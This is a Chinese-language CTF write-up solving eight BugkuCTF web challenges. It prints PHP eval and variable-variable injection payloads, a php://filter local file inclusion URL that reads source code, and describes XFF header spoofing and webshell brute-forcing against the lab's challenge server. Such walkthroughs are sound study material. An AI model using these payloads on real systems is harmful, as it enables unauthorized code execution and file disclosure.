0x00 目录
前八道 Web 题见 BugkuCTF Web Part 1
0x01 本地包含
打开网页之后获得题目源码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
包含了 flag.php,得想办法 var_dump() 出 flag.php 中的 flag
用 readfile() 函数读取 flag 即可
payload:
http://123.206.87.240:8003/?hello=readfile(%22flag.php%22)
0x02 变量1
打开网页后获得一个 hint
flag In the variable !
和题目源码
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
源码和上题很类似,就是加了对参数的判断
只需要想办法让 var_dump() 中输出的可变变量 显示出 flag1.php 中的变量
使用超全局变量 $GLOBALS 即可
payload:
http://123.206.87.240:8004/index1.php?args=GLOBALS
0x03 Web5
F12 即可发现网页有个隐藏的 div 里面放着 jsfuck
在 console 中运行一下即可获得 flag
然而事情却没有这么简单~
被耍了,按照网页提示把 flag 转换为大写即可
0x04 头等舱
进去之后的确啥也没有,尝试抓包看看
flag 在 response 的头里送上门了~
0x05 网站被黑
打开一看是个黑页,啥也没有
就扫了扫目录
扫到个 shell.php,访问康康
看起来是个 webshell,可以尝试爆破一波
输入密码,拿到 flag
0x06 管理员系统
进去一看是一个登录框,登陆时尝试用 burp 抓包
提示要本地管理员登录,好吧上 XFF 头伪造 ip。具体可以看 HTTP 基础 0x05 节“一些需要注意的 HTTP Headers”部分
这一关过了,剩下的只需要爆破就可以了
0x07 Web4
根据提示查看源码,发现有一段 js 其中部分被 url 编码了,最后再解码拼接执行
尝试复制到 console 中运行
发现在 eval 的时候失败了。尝试去掉 eval 函数先看看 js 的整体内容
里面有一段字符串,提交即可获得 flag
0x08 flag在index里
让我们点击
点击后 url 变的十分可疑,结合题目名猜测是存在文件包含
文件包含读取 php 文件内容的话需要使用php://filter
封装协议对源码进行 base64 编码,具体可移步 File Inclusion 的利用 0x04 节 “封装协议(Wrappers) 在 FI 中的利用” 部分
构造 payload
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
再 base64 解码获得 flag